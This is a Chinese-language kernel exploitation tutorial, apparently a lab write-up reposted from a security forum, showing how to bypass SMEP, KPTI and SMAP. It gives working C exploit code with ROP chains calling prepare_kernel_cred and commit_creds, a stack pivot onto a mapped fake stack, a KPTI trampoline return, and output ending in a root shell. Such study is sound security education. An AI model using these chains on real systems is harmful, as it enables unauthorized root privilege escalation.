Linux Kernel Pwn Part 2 - treebacker

admin 2021年12月31日15:57:53评论88 views字数 10492阅读34分58秒阅读模式

在Part 1部分我们关闭了所有的保护方式,包括SMEPKPTISMAP

本章节会逐个的开启这些保护方式,并探讨如果绕过这些机制。

Bypass SMEP

在Part1中,用于覆盖返回地址的函数escalate_privs存在userspace中,当开启SMEP时,在kernel-mode下,userspace地址被标记为non-executable。这一点很像userland下的NX保护,同样的,在userland下我们使用ROP,在kernelland下,有Kernel ROP.

值得注意的是,get_shell是在由kernel-mode去换到user-mode之后完成的,因此不会受到SMEP的影响,不需要ROPchain。

Try To Overwrite CR4

在Part 1中提到,SMEP由CR4寄存器的20th bit控制,而在kernel-mode下,我们可以修改CR4寄存器的值,例如mov cr4, rax;有一个通用的函数native_write_cr4(value)可以修改CR4的值为指定的value,该函数同样在kernel地址空间中

/ # cat /proc/kallsyms | grep native_write_cr4
ffffffff814443e0 T native_write_cr4

通过ROP构造上述函数执行,实现修改CR4寄存器。

通过ROPgadget --binary vmlunix > gadgets.txt获取所有的gadget,从中找到pop rdi, ret

通过调试kernel或者触发崩溃可以得到正常情况下的CR4值,20th bit对应的值是0x100000

[   10.349798] CR2: ffff88800686a200 CR3: 000000000655c000 CR4: 00000000001006f0
>>> hex(1<<20)
'0x100000'

当20th bit清零后,CR4值为0x6f0;下面的代码即可以修改CR4

void exploit()
{   
    unsigned long pop_rdi_ret = 0xffffffff81006370;
    unsigned long native_write_cr4 = 0xffffffff814443e0;
    unsigned long payload[0x100/8];
    unsigned long offset = 0x80/8;
    payload[offset++] = cookie;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = (unsigned long)pop_rdi_ret;

    payload[offset++] = 0x6f0;
    payload[offset++] = (unsigned long)native_write_cr4;

    payload[offset++] = (unsigned long)escalate_privs;

    puts("[*] Prepared payload");
    size_t size = write(global_fd, payload, sizeof(payload));
    puts("[!] Should never be reached");
}

但是实际上,失败了,kernel崩溃了,panic输出

[*] Prepared payload
[   19.393575] unable to execute userspace code (SMEP?) (uid: 1000)
...
[   19.404200] CR2: 0000000000401102 CR3: 0000000006508000 CR4: 00000000001006f0

发现CR4的值没有改动,SMEP仍然处于enable状态。

Escalation ROPchain

既然无法改写CR4禁用SMEP,就只好通过ROP的方式完成escalate_priv

  • ROP 构造 prepare_kernel_cred(0)
  • ROP 构造 commit_creds(),以上一步的返回值为参数
  • ROP 构造 swapgs; ret
  • ROP 构造 stack setup, RIP|CS|RFLAGS|SP|SS
  • ROP 构造 iretq

在导出的gadgets.txt搜索到下面的代码片段,可以完成前三个步骤的ROPchain

0xffffffff81006370 : pop rdi ; ret          // 传递函数第一个参数

0xffffffff81007616 : pop rdx ; ret          // 设置rdx
0xffffffff81c0f8b2 : cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret             // rdx等于-1 不会跳转
0xffffffff8166ff23 : mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret  // 受上述cmp rdx -1影响不会跳转

0xffffffff8100a55f : swapgs ; pop rbp ; ret     // swapgs

但是在gadgets.txt里没有找到iretq指令,objdump可以发现

$ objdump -j .text -d ./vmlinux  | grep iretq | head -3
ffffffff8100c0d9:   48 cf                   iretq  
ffffffff81200fc7:   48 cf                   iretq  
ffffffff81201485:   48 cf                   iretq

构造下面的exploit函数

void exploit_smep()
{   


    user_rip = (unsigned long)get_root_shell;
    unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
    unsigned long commit_creds = 0xffffffff814c6410;

    unsigned long pop_rdi_ret = 0xffffffff81006370;
    unsigned long pop_rdx_ret = 0xffffffff81007616;             // pop rdx ; ret
    unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2;         // cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret
    unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4;    //  cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret
    unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23;    // mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret
    unsigned long swapgs_pop1_ret = 0xffffffff8100a55f;         // swapgs ; pop rbp ; ret
    unsigned long iretq = 0xffffffff8100c0d9;


    unsigned long payload[60];                                  // 该值太大会覆盖其他栈帧内的cookie造成stack guard终止
    unsigned long offset = 0x80/8;


    payload[offset++] = cookie;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;

    payload[offset++] = (unsigned long)pop_rdi_ret;


    payload[offset++] = 0x00;
    payload[offset++] = (unsigned long)prepare_kernel_cred;
    payload[offset++] = (unsigned long)pop_rdx_ret;
    payload[offset++] = 8;
    payload[offset++] = cmp_rdx_jne_pop2_ret;
    payload[offset++] = 0;
    payload[offset++] = 0;
    payload[offset++] = mov_rdi_rax_pop2_ret;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = commit_creds;
    payload[offset++] = swapgs_pop1_ret;    // swapgs ; pop rbp ; ret   
    payload[offset++] = 0x0;                // 
    payload[offset++] = iretq;              // iretq        
    payload[offset++] = user_rip;
    payload[offset++] = user_cs;
    payload[offset++] = user_rflags;
    payload[offset++] = user_sp;
    payload[offset++] = user_ss;


    puts("[*] Prepared payload");
    size_t size = write(global_fd, payload, sizeof(payload));
    puts("[!] Should never be reached");
}
stack pivoting

在userland的漏洞利用中,如果栈溢出长度只能够覆盖到返回地址而无法完全构造整个ROPchain时,一个有效的构造手段就是stack pivot,需要修改rsp到可控的地址(提前布置一个fake stack)。

在userland中,并需要修改保存的rbp,通过leave类的指令间接地修改rsp

在kernel-mode下,该方法实现更容易,因为有大量的gadget可以使用。最常用的就是可以直接修改rsp/esp的指令,只要保证值是页对齐的就合适。例如:

0xffffffff8196f56a : mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret

由于esp将变为0x5b000000,我们可以在该地址映射可执行的page,提前写入ROPchain,溢出时只需要覆盖返回地址即可执行ROPchain。

void stack_pivot()
{

    user_rip = (unsigned long)get_root_shell;
    unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
    unsigned long commit_creds = 0xffffffff814c6410;

    unsigned long pop_rdi_ret = 0xffffffff81006370;
    unsigned long pop_rdx_ret = 0xffffffff81007616;             // pop rdx ; ret
    unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2;         // cmp rdx, -1 ; jne 0xffffffff81c0f8a7 ; ret
    unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4;    //  cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret
    unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23;    // mov rdi, rax ; jne 0xffffffff8166fef3 ; pop rbx ; pop rbp ; ret
    unsigned long swapgs_pop1_ret = 0xffffffff8100a55f;         // swapgs ; pop rbp ; ret
    unsigned long iretq = 0xffffffff8100c0d9;


    unsigned long *fake_stack = mmap((void*)(0x5b000000 - 0x1000), 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC,
                                        MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
    unsigned offset = 0x1000 / 8;       // ROPchain in second page
    fake_stack[0] = 0xdead;             // write first page to prevent fault
    fake_stack[offset++] = 0x0;         // r12
    fake_stack[offset++] = 0x0;         // rbp

    fake_stack[offset++] = (unsigned long)pop_rdi_ret;

    fake_stack[offset++] = 0x00;
    fake_stack[offset++] = (unsigned long)prepare_kernel_cred;
    fake_stack[offset++] = (unsigned long)pop_rdx_ret;
    fake_stack[offset++] = 8;
    fake_stack[offset++] = cmp_rdx_jne_pop2_ret;
    fake_stack[offset++] = 0;
    fake_stack[offset++] = 0;
    fake_stack[offset++] = mov_rdi_rax_pop2_ret;
    fake_stack[offset++] = 0x0;
    fake_stack[offset++] = 0x0;
    fake_stack[offset++] = commit_creds;
    fake_stack[offset++] = swapgs_pop1_ret;     // swapgs ; pop rbp ; ret   
    fake_stack[offset++] = 0x0;             // 
    fake_stack[offset++] = iretq;               // iretq        
    fake_stack[offset++] = user_rip;
    fake_stack[offset++] = user_cs;
    fake_stack[offset++] = user_rflags;
    fake_stack[offset++] = user_sp;
    fake_stack[offset++] = user_ss;



    unsigned long payload[60];
    unsigned long off = 0x80/8;
    payload[off++] = cookie;
    payload[off++] = 0x0;
    payload[off++] = 0x0;
    payload[off++] = 0x0;                   // only overwrite return address
    payload[off++] = 0xffffffff8196f56a;    // mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
    puts("[*] Prepared payload");
    size_t size = write(global_fd, payload, sizeof(payload));
    puts("[!] Should never be reached");
}

构造fake_stack时需要注意的几点

  • mmap两个pages,从0x5b000000 - 0x1000开始而不是0x5b000000,这是因为在fake_stack里执行的函数会导致栈生长,如果esp指向page的起始地址,可能导致fake_stack栈空间不足,异常结束。

  • 第一个空白页,我们需要写入一个dirty值,否则导致Double Fault

    [   44.010031] traps: PANIC: double fault, error_code: 0x0
    [   44.010827] double fault: 0000 [#1] SMP NOPTI

    这是由于page在mapped之后并不会立即插入page table,而是在被写入之后。所以尽管ROPchain在第二个page,第一个page也需要一次写入。

ByPass KPTI

Page Table

每一个进程都有一个指向进程自身的页表,由CR3寄存器指定。

KPTI

Kernel Page-table isolation,该机制引入kernel防止meltdown攻击,在userland没有类似的机制。

如果没有KPTI,从kernel-mode切换到user-mode时,Linux会在其页表中保存整个内核内存的映射,这样做的优点是当应用程序向内核发送系统调用或者接收到中断时,内核页表始终存在,可以避免大多数上下文切换的开销。

开启KPTI后,userland页表只有部分内核映射(用于中断入口出口),而避免了内核页表的泄漏。

bypass

在开启KPTI的情况下,目前为止得到所有exploit都将造成crash,有趣的是该crash是在userland常见的Segmentation fault

/ $ ./exploit 
[*] Saved state
[*] Opened device
[*] Leak 160 bytes
[*] Cookie: 0x6e0d7bffd02b0400
[*] Prepared payload
Segmentation fault

这是由于尽管回到了user-mode,page-tables依然是kernel-mode的(并没有主动交换页表),在kernel-mode下userland的pages是不可执行的。

绕过KPTI的两种常见方法:

  • 使用signal handler:这种方法很简单,机智。原理这个崩溃导致userland处理SIGSEGV信号,我们可以为它注册一个信号处理句柄,只需要在main函数中加上以下简单的语句

    signal(SIGSEGV, get_root_shell);
    

    疑惑地是,即使作为handlerget_root_shell函数依然是在不可执行的页面上。

  • KPTI trampoline:基于的理论是“如果一个syscall正常返回,那么内核中一定有一段代码会将page tables交换回userland,因此我们可以利用这段代码达到目的。这段代码称为KPTI trampoline,它的作用就是交换page tables, swapgsiretq

    这段代码所在的函数是swapgs_restore_regs_and_return_to_usermode(),在/proc/kallsyms中一样可以找到其地址。

    / # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
    ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

    该函数的起始部分代码

    .text:FFFFFFFF81200F10                 pop     r15
    .text:FFFFFFFF81200F12                 pop     r14
    .text:FFFFFFFF81200F14                 pop     r13
    .text:FFFFFFFF81200F16                 pop     r12
    .text:FFFFFFFF81200F18                 pop     rbp
    .text:FFFFFFFF81200F19                 pop     rbx
    .text:FFFFFFFF81200F1A                 pop     r11
    .text:FFFFFFFF81200F1C                 pop     r10
    .text:FFFFFFFF81200F1E                 pop     r9
    .text:FFFFFFFF81200F20                 pop     r8
    .text:FFFFFFFF81200F22                 pop     rax
    .text:FFFFFFFF81200F23                 pop     rcx
    .text:FFFFFFFF81200F24                 pop     rdx
    .text:FFFFFFFF81200F25                 pop     rsi
    .text:FFFFFFFF81200F26                 mov     rdi, rsp
    .text:FFFFFFFF81200F29                 mov     rsp, qword ptr gs:unk_6004
    .text:FFFFFFFF81200F32                 push    qword ptr [rdi+30h]
    .text:FFFFFFFF81200F35                 push    qword ptr [rdi+28h]
    .text:FFFFFFFF81200F38                 push    qword ptr [rdi+20h]
    .text:FFFFFFFF81200F3B                 push    qword ptr [rdi+18h]
    .text:FFFFFFFF81200F3E                 push    qword ptr [rdi+10h]
    .text:FFFFFFFF81200F41                 push    qword ptr [rdi]
    .text:FFFFFFFF81200F43                 push    rax
    .text:FFFFFFFF81200F44                 jmp     short loc_FFFFFFFF81200F89

    通过pop从栈上恢复大量寄存器,这一部分会增加ROPchain的负载,因此我们这里的kpti_trampoline只从pop之后的第一条指令的位置,即func+22位置。

该函数里最关键的代码

.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:                   ; CODE XREF: sub_FFFFFFFF812010D0-18C↑j
  .text:FFFFFFFF81200F89                 pop     rax
  .text:FFFFFFFF81200F8A                 pop     rdi
  .text:FFFFFFFF81200F8B                 call    cs:off_FFFFFFFF82040088
  .text:FFFFFFFF81200F91                 jmp     cs:off_FFFFFFFF82040080

  .....
  .data:FFFFFFFF82040088 off_FFFFFFFF82040088 dq offset sub_FFFFFFFF8146D4E0
  .data:FFFFFFFF82040080 off_FFFFFFFF82040080 dq offset sub_FFFFFFFF81200FC0

  .....
  .text.native_swapgs:FFFFFFFF8146D4E0 sub_FFFFFFFF8146D4E0 proc near          ; CODE XREF: sub_FFFFFFFF8100A540+E↑p
  .text.native_swapgs:FFFFFFFF8146D4E0                                         ; sub_FFFFFFFF8100A570+17↑p ...
  .text.native_swapgs:FFFFFFFF8146D4E0                 push    rbp
  .text.native_swapgs:FFFFFFFF8146D4E1                 mov     rbp, rsp
  .text.native_swapgs:FFFFFFFF8146D4E4                 swapgs
  .text.native_swapgs:FFFFFFFF8146D4E7                 pop     rbp
  .text.native_swapgs:FFFFFFFF8146D4E8                 retn
  .text.native_swapgs:FFFFFFFF8146D4E8 sub_FFFFFFFF8146D4E0 endp

  ...
  .text:FFFFFFFF81200FC0                 test    byte ptr [rsp+arg_18], 4
  .....
  .text:FFFFFFFF8120102E                 mov     rdi, cr3
  .text:FFFFFFFF81201031                 jmp     short loc_FFFFFFFF81201067
  .text:FFFFFFFF81201033 ; ------------------------------------------------------
  .text:FFFFFFFF81201067 loc_FFFFFFFF81201067:                   ; CODE XREF: sub_FFFFFFFF81200FC0+71↑j
  .text:FFFFFFFF81201067                 or      rdi, 1000h
  .text:FFFFFFFF8120106E                 mov     cr3, rdi

  ....
  .text:FFFFFFFF81200FC7                 iretq

swapgs用于切换kernel-mode和user-mode的GS寄存器

mov rdi, cr3; or rdi, 0x1000; mov cr3, rdi;代码段用于切换CR3寄存器。

iretq切换到user-mode。

因此,利用该函数的代码片段即可以完成swapgs; swap page tables; iretq等操作,构造的payload如下

...
    payload[offset++] = commit_creds;
    payload[offset++] = kpti_trampoline; 
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = user_rip;
    payload[offset++] = user_cs;
    payload[offset++] = user_rflags;
    payload[offset++] = user_sp;
    payload[offset++] = user_ss;
    ....

也可以利用gadget执行交换page tables的操作,有同样的效果,这是这个函数内集成了多个gadget序列,比较便利。

这种方式可以绕过KPTI策略。

/ $ ./exploit 
  [*] Saved state
  [*] Opened device
  [*] Leak 160 bytes
  [*] Cookie: 0x14324065f2932600
  [*] Prepared payload
  [*] Returned to userland
  [*] UID: 0, got root priv
  / # id
  uid=0 gid=0

Bypass SMAP

同SMEP类似,当进程在kernel-mode下时,userspace的地址空间标记为不可读、不可写。

显然,通过ROPchain的方式绕过SMEP的策略也适用于绕过SMAP(结合绕过KPTI的策略)

参考

WIKI-内核页表隔离

2021: "Learning Linux Kernel Exploitation" [article] [part 2] [part 3]

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:57:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux Kernel Pwn Part 2 - treebackerhttps://cn-sec.com/archives/713205.html

发表评论

匿名网友 填写信息